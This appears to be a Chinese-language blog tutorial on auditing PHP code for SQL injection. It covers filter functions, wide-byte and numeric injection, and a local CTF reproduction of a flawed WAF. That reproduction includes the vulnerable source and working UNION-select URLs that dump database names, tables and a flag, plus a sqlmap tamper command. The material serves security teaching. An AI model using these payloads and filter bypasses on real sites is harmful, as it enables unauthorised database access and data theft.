sql注入是php代码审计的主要漏洞点之一,另一个是upload

反向查找流程:

  1. 通过可控变量(输入点)回溯危险函数
  2. 查找危险函数确定可控变量
  3. 传递的过程中触发漏洞

但是上述的流程也并不完全的正确,例如有些铭感函数虽然出现在了程序当中,但是触发的流程需要经过转义注释等,那么这个函数就不构成威胁

具体反向查找的例子:B-blog-bind xxe

反向查找流程特点

  • 上下文无关
  • 危险函数,调用即漏洞

根源:危险函数导致漏洞

特点:

暴力:全局搜索危险函数

简单:无需过多理解目标网站功能与框架

快速:适用于自动化代码审计工具

无法挖掘逻辑漏洞:逻辑漏洞一般不存在危险函数,或危险函数的参数看似不可控

适应性较差:不适合存在全局过滤的站点

正向查找流程:

  1. 从入口函数出发
  2. 找到控制器,理解url派发规则
  3. 跟踪控制器调用,以理解代码作为目标进行源码阅读
  4. 阅代码的过程中,可能发现漏洞

具体正向查找的例子:PHPCMSv9.6.0 前台getshell

https://www.cnblogs.com/yuzly/p/11394620.html

根源:程序员疏忽或逻辑问题导致漏洞

特点:

复杂:需要及其了解目标源码的功能与架构

跳跃性大:涉及M/V/C/Service/Dao等多个层面

漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞

潜力无限: 安全研究人员的宝库

适合在反向查找流程找过一遍的情况下

双向查找流程

略读代码,了解架构

是否有全局过滤安全机制?(例如有orm就可以不用去挖sql注入了)

有:是否可以绕过?

可以:寻找漏洞触发点

不可以:寻找没有过滤的变量

没有:那么它是如何处理的

完全没有处理:可以挖成筛子

有处理:寻找遗漏的处理点

找到了漏洞点,漏洞利用是否有坑

否:利用成功

是:利用所学的语言知识解决问题

大致流程如下:

根源:理解程序执行过程,找危险函数

特点:

高效:如隧道挖掘,双开双工,时间减半

知识面广:需要同时掌握上述的两种方式,以及正反挖掘的特点

php中mysql连接函数

1.mysql(已经废除,可能一些老站点还在使用)

2.mysqli

3.PDO

(顺带一提,mysql的预编译机制是很有用的,特别是在比赛的加固题中,十分无解,然后就是其在实际的生产环境中也是无敌的,可以很大程度上减少sql注入的攻击,但是,并不是说这玩意就是无敌的,却决于其是否拼接字符串)

sql注入漏洞常见的过滤方式

intval(只回显与处理payload中的数字)

1
2
3
4
<?php
$id=intval($_GET['id']);
echo $id
?>

addslashes函数,将用户输入内容进行转义

1
2
3
4
5
<?php
$id=addslashes($_GET['id']);
echo $id;
$sql="SELECT * FROM dual WHERE id = '$id'" #这里是完全可以拼接预处理的
?>

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • </font>
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

具体看这篇文章

https://www.cnblogs.com/jukan/p/5348398.html

大致就这么几种反正,实在拦不住就手写waf直接全杀了

但是要注意,如果依赖上述的函数,那么就会导致,一个非常常见的漏洞,宽字节注入

那么我们先来了解一下什么是宽字节

宽字节指的是一个字符占用两个字节,例如GB2312、GBK、GB18030等编码。相对的,窄字节指的是一个字符占用一个字节,例如ASCII编码1

宽字节注入

对上述的代码段进行修改并且举个例子

1
2
3
4
5
<?php
$id=addslashes($_GET["a"]);
$id=base64_encode($id);
$c="SELECT *FROM dual WHERE id ='$id'";
?>

这段代码首先是用了addslashes这个函数用来防止sql注入,但是下面转义处理就让addslashes变得

无用了,为什么,因为这段转义用的是base64编码,但是base64编码是没有”/“的,那么

(如果是sqlmap可以通过sqlmap的tamper模块的unmagicquotes.py脚本完成了注入攻击,

例句为:sqlmap.py -u “url” –batch –tamper=unmagicquotes.py -D security -T users -C “username,password” –dump

寻找字符串转换函数

urldecode

base64_decode

iconv

json_decode

stripshasles

simple_xml_loadsting

根据上述的内容,我们又可以拓展出一种注入,那就是数字类型的sql注入
1
2
3
4
5
<?php
$id=addslashes($_GET["a"]);
#$id=base64_decode($id);
echo "SELECT *FROM dual WHERE id =$id";#但是,此时我不再将id包含起来
?>

那么就会变成这样

那么同样的对于数字类型的注入的防范也是存在的,就例如:mysql_real_escape_string与PDO::quote

mysql_real_escape_string与addslashes的区别:mysql_real_escape_string会主动添加引号包裹,以防止你忘记写引号

参数化查询(就是预处理)

预处理确实很用,但也并不是万能的,对于预处理我们也是可以挖掘的

怎么挖,也很简单,就是找非sql值位置

1
SELECT 'name' FROM 'dual' WHERE 'id' =? ORDER BY 'login_time' LIMIT 1

红色下标的部分都是非sql值位置,如果用户可控,那么任然存在sql注入

那么,好,让我们看一个实战例子

贷齐乐错误的waf引起的SQL注入漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
if (strpos($string, '&amp;#') !== false) {
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
//经过第一道WAF处理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
1
2
3
4
5
6
7
<?php
$mysql_server_name="localhost";
$mysql_database="ctf"; /** 数据库的名称 */
$mysql_username="root"; /** MySQL数据库用户名 */
$mysql_password="200537ssr"; /** MySQL数据库密码 */
$conn = mysqli_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
1
2
3
4
5
6
7
8
9
CREATE DATABASE ctf;
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8
INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');

大体上是复现了

1
2
3
4
5
6
7
8
9
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val); #防止实例化输入字符串
}
}

通过第18行的过滤,那么我们知道了下面的函数漏洞点,是关于php下划线特性的

1
2
3
4
5
6
7
8
9
10
11
12
13
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d']; #这里是关于php下划线的特性,在php中"."会直接被处理成"_",那么我们就可以利用这个特性构造payload
$sql = "select * from ctf.users where id=$user_id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>

还有这一段,差点忘了,这一段这里使用了危险函数exploade,只对传入的参数进行了简单的处理

1
2
3
4
5
6
7
8
9
10
$request_uri = explode("?", $_SERVER['REQUEST_URI']);#这里使用了危险函数exploade,只对传入的参数进行了简单的处理
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}

那么大致思路如下

测出回显位

1
http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

所有库

1
http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,schema_name,3,4/**/from/**/information_schema.schemata&i.d=1&submit=1

表名,这里需要再处理一下payload因为源代码里对“=”,做了处理,可以用like进行绕过,再有就是exlode函数的原因需要对字符串进行编码绕过

1
http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

1
http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

得到flag字段

1
http://localhost/demo.php?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=11

得到flag

结合上述的例子,总结就是一句话:寻找遗漏过滤或者过滤无效的过滤点

开发者最容易忽视的遗漏点大致可以分为如下几点

这个PHP_SELF与REQUEST_URI可以拿出来讲讲,有点意思

首先,PHP_SELF的作用是什么,$_SERVER[‘PHP_SELF’] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关

演示一下

1
2
3
<?php
echo $_SERVER['PHP_SELF'];
?>

代码段就是这样的,回显是当前访问的网站文件路径

许多开发者认为这个变量是不可控的,但是并非如此 ,如下图所示

REQUEST_URI与之类似,但是REQUEST_URI是完整的路径

最后看几段有点意思的代码

这里出现了desc和asc这个玩意,这个是什么呢,在SQL语句中,asc和desc是用于指定数据排序顺序的关键字。具体来说,asc用于指定列数据按升序进行排序,而desc则用于指定列数据按降序进行排序。

排序的基本语法为:order by 列名 asc/desc。
例如,如果你想按照列n2的升序排列数据,可以使用以下SQL语句:
select * from tt order by n2 asc;
同样地,如果你想按照列n2的降序排列数据,可以使用以下SQL语句:
select * from tt order by n2 desc;
当需要进行复合排序时,可以先按某个列进行升序排序,再按另一个列进行降序排序。例如,先按列n1升序排列,再按列n2降序排列,可以使用以下SQL语句:
select * from tt order by n1 asc,n2 desc;

但是这里开发者似乎出现了一个小错误,那就是这个正则表达无法在传入的数据中又desc和asc后进行exit,而是继续执行

正确的修改方式应为为代码段添加首位定键符